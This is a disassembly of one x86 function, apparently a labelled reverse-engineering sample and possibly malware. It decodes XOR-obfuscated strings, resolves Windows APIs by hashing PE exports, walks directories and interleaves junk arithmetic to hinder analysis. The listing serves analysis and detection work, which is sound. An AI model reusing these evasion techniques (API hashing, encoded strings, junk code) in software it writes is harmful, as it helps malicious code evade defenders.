Function at 0x41736f
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2dc
movaps xmm1, xmmword [0x428fe0]
xor eax, eax
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0xe5ece5d4
mov esi, ecx
mov dword [esp + 0x14], 0xede1f2e7
movq xmm0, qword [esp + 0x10]
mov word [esp + 0x78], ax
pxor xmm1, xmm0
push 0x2a
pop eax
xorps xmm0, xmm0
mov word [esp + 0x34], ax
xor eax, eax
punpcklbw xmm1, xmm0
movups xmmword [esp + 0x68], xmm1
mov word [esp + 0x36], ax
xor ecx, ecx
mov dword [esp + 0x18], 0x48677831
mov byte [esp + 0x1c], 0x3e
mov al, byte [esp + ecx + 0x18]
xor al, 0x14
movzx eax, al
mov word [esp + ecx*2 + 0x4c], ax
inc ecx
cmp ecx, 5
jl 0x4173cd
xor eax, eax
lea edx, [esp + 0x68]
mov word [esp + 0x56], ax
mov ecx, esi
movzx eax, byte [0x42b9b8]
xor eax, 0x733d5ad3
mov dword [0x42b9c0], eax
mov al, byte [0x42b998]
add al, 0xd
mov byte [0x42b9b6], al
and al, 0x7a
mov byte [0x42b9b1], al
lea eax, [esp + 0x34]
push 1
push eax
call fcn.0041d42f
movzx eax, byte [0x42b998]
imul eax, eax, 0x85ae361f
push esi
mov dword [0x42b9c0], eax
lea eax, [esp + 0x58]
push eax
call fcn.00422def
mov dl, byte [0x42b998]
mov ebp, eax
add byte [0x42b9b1], 0xda
add esp, 0x10
movzx ecx, dl
add ecx, 0x6214343c
mov dword [esp + 0x18], ebp
mov dword [0x42b9c0], ecx
test ebp, ebp
je 0x41788f
mov cl, byte [0x42b9b8]
movzx eax, dl
mov edx, 0x54e1cc7b
imul eax, eax, 0x23
mov byte [0x42b9b6], al
lea eax, [ecx + 1]
and al, 3
mov byte [0x42b9b1], al
add al, 0x32
mov byte [0x42b998], al
movzx eax, cl
xor ecx, ecx
or eax, 0x7ae6bfca
inc ecx
mov dword [0x42b9c0], eax
lea eax, [esp + 0x98]
push eax
push ebp
call fcn.00415084
call eax
movzx ecx, byte [0x42b9c0]
mov edi, eax
imul edx, ecx, 0xe3
mov cl, byte [0x42b9b8]
and cl, 0x48
mov dword [esp + 0x3c], edi
mov byte [0x42b9b1], cl
movzx ecx, dl
and ecx, 0x7350aeaf
mov byte [0x42b998], dl
mov dword [0x42b9c0], ecx
mov edx, 0x17299c7b
xor ecx, ecx
inc ecx
call fcn.00415084
mov dl, byte [0x42b9b1]
mov cl, dl
mov dword [esp + 0x40], eax
xor cl, 0xd7
mov byte [0x42b998], cl
movzx ecx, cl
and ecx, 0x42
xor ecx, 0x948e4da4
mov dword [0x42b9c0], ecx
cmp edi, 0xffffffff
je 0x41787c
movzx eax, dl
mov ebp, esi
imul ebx, eax, 0x522f0ecb
add dl, 0xcf
mov byte [0x42b9b1], dl
mov word [esp + 0x20], 0x8080
push 0x2e
pop eax
mov word [esp + 0x38], ax
xor eax, eax
mov word [esp + 0x3a], ax
xor ecx, ecx
movzx eax, byte [esp + ecx + 0x20]
mov esi, 0xff
sub ax, 0x52
and ax, si
mov word [esp + ecx*2 + 0x44], ax
inc ecx
cmp ecx, 2
jl 0x41754f
xor eax, eax
and dl, 0x16
mov word [esp + 0x48], ax
or dl, 0x81
movzx eax, dl
sub bl, 0x5e
and eax, 0x583feda8
mov byte [0x42b9b8], dl
mov dword [0x42b9c0], eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0xc8]
mov byte [0x42b998], bl
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x417815
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xc8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x417815
mov cl, byte [0x42b9b1]
mov al, byte [0x42b9b6]
add cl, 0x78
sub al, 0x71
mov byte [0x42b9b8], cl
test byte [esp + 0x98], 0x10
mov byte [0x42b9b1], al
je 0x41782e
lea eax, [ecx + 0x1f]
or al, 0xc2
mov byte [0x42b9b6], al
movzx eax, byte [0x42b998]
and eax, 0x8f08fb7e
mov dword [0x42b9c0], eax
movzx eax, cl
imul eax, eax, 0xdb
mov byte [0x42b998], al
lea eax, [esp + 0xc4]
push eax
call fcn.0040581e
pop ecx
cmp eax, 0x10
jne 0x41782e
mov dword [esp + 0x10], 0x1738276e
xor ecx, ecx
mov word [esp + 0x14], 0x276e
mov byte [esp + 0x16], 0x38
mov al, byte [esp + ecx + 0x10]
xor al, 0x4b
movzx eax, al
mov word [esp + ecx*2 + 0x58], ax
inc ecx
cmp ecx, 7
jl 0x41764b
mov cl, byte [0x42b9b1]
xor eax, eax
mov word [esp + 0x66], ax
movzx eax, cl
or cl, 0xda
add eax, 0x57e57ebb
mov byte [0x42b9b8], cl
mov dword [0x42b9c0], eax
movzx eax, byte [0x42b9b6]
imul eax, eax, 0x3d
mov byte [0x42b9b6], al
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x5c]
push ebp
push eax
call fcn.00422def
mov dl, byte [0x42b9b6]
mov esi, eax
mov cl, dl
add esp, 0xc
or cl, 0x5c
mov byte [0x42b9b1], cl
movzx ecx, cl
xor ecx, 0x8c7edca3
mov dword [0x42b9c0], ecx
test esi, esi
je 0x41782e
mov dword [esp + 0x28], 0xada4ad9c
xor ecx, ecx
mov dword [esp + 0x2c], 0xa5a9baaf
mov dword [esp + 0x30], 0xbba4ede7
mov al, byte [esp + ecx + 0x28]
xor al, 0xc8
movzx eax, al
mov word [esp + ecx*2 + 0x7c], ax
inc ecx
cmp ecx, 0xc
jl 0x4176eb
mov cl, byte [0x42b998]
xor eax, eax
mov word [esp + 0x94], ax
xor dl, 0x9e
movzx eax, cl
add cl, 0x8a
and eax, 0x28c76691
mov byte [0x42b998], cl
mov dword [0x42b9c0], eax
sub cl, 0x3a
movzx eax, byte [0x42b9b8]
imul eax, eax, 0x96
mov byte [0x42b9b1], dl
mov byte [0x42b9b6], cl
mov byte [0x42b9b8], al
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.00422def
mov dl, byte [0x42b9b6]
mov edi, eax
pop ecx
pop ecx
mov cl, dl
or cl, 0xfe
mov byte [0x42b998], cl
imul ecx, dword [0x42b9c0], 0xc3e0a315
mov dword [0x42b9c0], ecx
mov cl, byte [0x42b9b8]
or cl, 0x7a
test edi, edi
je 0x4177f3
mov cl, byte [0x42b9b1]
add dl, 0x48
push 0x2a
pop eax
mov word [esp + 0x24], ax
xor eax, eax
mov word [esp + 0x26], ax
lea eax, [ecx + 0x24]
mov byte [0x42b9b6], al
movzx eax, cl
mov ecx, esi
and eax, 0xd5b39547
mov byte [0x42b9b8], dl
mov dword [0x42b9c0], eax
mov edx, edi
lea eax, [esp + 0x24]
push 1
push eax
call fcn.0041d42f
movzx eax, byte [0x42b9b1]
imul eax, eax, 0x74
push edi
or al, 0x66
mov byte [0x42b9b1], al
call fcn.004056f0
mov cl, byte [0x42b9b8]
add esp, 0xc
mov al, byte [0x42b9b1]
xor cl, 0x81
sub al, 0x54
mov byte [0x42b998], cl
push esi
mov byte [0x42b9b8], al
call fcn.004056f0
mov edi, dword [esp + 0x40]
pop ecx
jmp 0x41782e
mov al, byte [0x42b9b1]
add byte [0x42b9b6], 0x67
or al, 0x99
movzx eax, al
imul eax, eax, 0x48
mov byte [0x42b9b8], al
lea eax, [esp + 0x98]
push eax
push edi
call dword [esp + 0x48]
test eax, eax
je 0x417850
mov ebx, dword [0x42b9c0]
mov dl, byte [0x42b9b1]
jmp 0x41753e
movzx eax, byte [0x42b998]
xor ecx, ecx
or eax, 0x197b2326
mov edx, 0x83fbc401
mov dword [0x42b9c0], eax
inc ecx
add al, 0x39
push edi
mov byte [0x42b9b6], al
call fcn.00415084
call eax
mov ebp, dword [esp + 0x18]
mov al, byte [0x42b9b6]
or al, 0x30
push ebp
mov byte [0x42b9b8], al
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret